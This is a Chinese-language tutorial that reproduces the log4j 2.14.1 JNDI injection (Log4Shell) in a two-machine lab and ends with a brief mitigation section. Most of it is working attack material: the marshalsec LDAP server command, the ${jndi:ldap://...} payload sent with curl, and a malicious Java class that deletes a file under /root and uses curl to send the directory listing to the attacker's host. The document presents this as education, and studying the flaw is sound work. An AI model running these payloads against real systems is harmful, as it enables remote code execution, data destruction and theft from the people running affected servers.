log4j-2遠程代碼執行漏洞是因為log4j的版本中存在jndi(JAVA Naming and Directory Interface)注入漏洞,jndi注入是利用的動態類加載機制完成攻擊的,當程序將用戶輸入的數據進行日志記錄時,即可觸發此漏洞。注意是log4j-2.x的版本,本文演示使用2.14.1。
如果在應用中使用了如log.info等一些輸出用戶錄入的內容就可能遭到攻擊者的攻擊,這種將請求日志log出來的場景并不少見,比如和一些第三方系統對接的時候,在聯調或試運行階段會將請求的報文信息完整輸出到日志。
摘取一個gitee上的代碼樣例
![]()
- 漏洞場景
舉個例子,jianshu-Application這個服務用來提供給用戶修改個人簡介的,如圖
![]()
- 漏洞重現案例的幾個角色
角色
應用名
說明
被攻擊者
jianshu-application
這個是被攻擊的服務器(使用了log4j-core-2.14.1),
假設提供了個人簡介的修改功能
攻擊者
marshalsec-0.0.3-SNAPSHOT
開源純Java寫的一個工具,將數據轉換為代碼執行
攻擊者
Python/ target=_blank class=infotextkey>Python-httpserver
簡單模擬一個httpserver用來給被攻擊者遠程加載惡意class
![]()
大致流程如下 ①、攻擊者輸入惡意信息后提交,${jndi:ldap://ldap.mixfate.com:9999},當然這個ldap地址被攻擊者服務器中的應用可以訪問到; ②、被攻擊者應用通過log.info打印惡意的輸入信息后,發現日志內容中包含關鍵詞 ${,那么這個里面包含的內容會當做變量來進行替換執行,連接到marshalsec ldap.mixfate.com:9999; ③、此時marshalsec將重定向到httpserver load.mixfate.com:8888; ④、重定向到class下載地址下載并加載Hacker.class; ⑤、執行Hacker.class中的惡意代碼;
可以看到依賴重要的開源工具marshalsec,https://github.com/mbechler/marshalsec.git
免責聲明(僅用于學習或測試自有系統)
Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. 2、漏洞重現步驟
現在我們模擬一下這個jianshu-application這個應用被攻擊,并被刪除掉服務器上的/root/readme.txt文件;
機器名
說明
ip
機器A(jianshu)
被攻擊者
192.168.80.136
機器B(hacker)
攻擊者
192.168.80.133
兩臺機器均安裝上jdk-1.8.0_151
java version "1.8.0_151" Java(TM) SE Runtime Environment (build 1.8.0_151-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)
- 步驟1、機器A(jianshu)上運行被攻擊端jianshu應用(簡化代碼僅作重現參考)
簡單起見直接使用 spring-boot啟動一個web應用,開放一個入口模擬修改個人簡介,由于spring-boot默認使用 logback 作為應用日志框架,所以為了模擬攻擊過程將依賴排除掉,使用log4j-2.14.1版本記錄日志。
jianshu模擬應用配置如下(使用spring-boot-2.5.7,特別注意需要排除默認使用的日志,不然無法模擬)
pom.xml
4.0.0 org.springframework.boot spring-boot-starter-parent 2.5.7 com.mixfate jianshu 0.0.1-SNAPSHOT jianshu jianshu project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.springframework.boot spring-boot-starter-test test org.Apache.logging.log4j log4j-core 2.14.1 org.springframework.boot spring-boot-maven-plugin
JianshuAplication.java
package com.mixfate; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping @SpringBootApplication public class JianshuApplication { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { SpringApplication.run(JianshuApplication.class, args); } @PutMapping("/settings") public void settings(String intro) { logger.info("{}", intro); } }
模擬的修改個人簡介功能非常簡單,一個put請求將intro參數提交即可,注意通過url傳參數的話需要使用urlencode后傳輸,使用mvn clean package 打包好應用上傳,并直接在機器A(jianshu)的服務器部署運行即可java -jar jianshu-0.0.1-SNAPSHOT.jar,作為被攻擊的機器就已經準備好了,可通過curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha訪問測試。
此時在機器A(jianshu),ip192.168.80.136上的準備工作就完成了。
- 步驟2、機器B(hacker)上運行marshalsec/httpserver
① 下裝并編譯運行marshalsec工具,這是一個純java寫的將數據轉換為可執行代碼工具,github地址https://github.com/mbechler/marshalsec.git,直接使用maven編譯源碼mvn clean package -DskipTests,將編譯后的應用包marshalsec-0.0.3-SNAPSHOT-all.jar上傳到機器B(hacker)上運行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999。
這一步的目的是在Hacker機器B上開啟ldap服務,機器A中的應用參數intro如果定義為${jndi:ldap://192.168.80.133:9999/Hacker} ,則可訪問到這個ldap服務,而參數"http://192.168.80.133:8888/#Hacker表示將請求重定向到此地址遠程加載類Hacker,當然實際上ldap和放Hacker.class的httpserver服務器不需要放同一臺機器。
② 編寫Hacker類如下
import java.io.File; import java.util.Arrays; import java.util.stream.Collectors; class Hacker { static { System.err.println("Hacker hahaha"); try { Runtime.getRuntime().exec("rm -rf /root/readme.txt"); File dir = new File("/root"); Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(","))); } catch (Exception e) { e.printStackTrace(); } } }
這個Hacker惡意代碼把機器A上的文件/root/readme.txt刪除了,并且將/root目錄下的文件文件名發送到攻擊者的機器上。編譯好Hacker.class放到一個新建的目錄/www中。
③ 機器B新開一個命令窗口,進入到/www目錄中,使用命令python -m SimpleHTTPServer 8888啟動一個簡單的httpserver,啟動后使用瀏覽器訪問http://192.168.80.133:8888/Hacker.class正常會提示下載類文件,保證jianshu服務器能從這個地址下載類即可。
參數${jndi:ldap://192.168.80.133:9999/Hacker}通過urlencode后為%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D 訪問修改個人簡介進行攻擊 curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D
此時python的httpserver日志可以看到以下輸出
"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -
Hacker機器上列出了jianshu機器/root目錄下的文件,說明已經成功了。
3、漏洞修復
具體的漏洞修復建議可參考一些官方的推薦做法,一種臨時的改動是設置JVM啟動參數-Dlog4j2.formatMsgNoLookups=true,此參數判斷是否執行lookups。
打開MessagePatternConverter的源碼查看
![]()
在構造方法中初始化了參數noLookups
![]()
在常量中定義了默認值
![]()






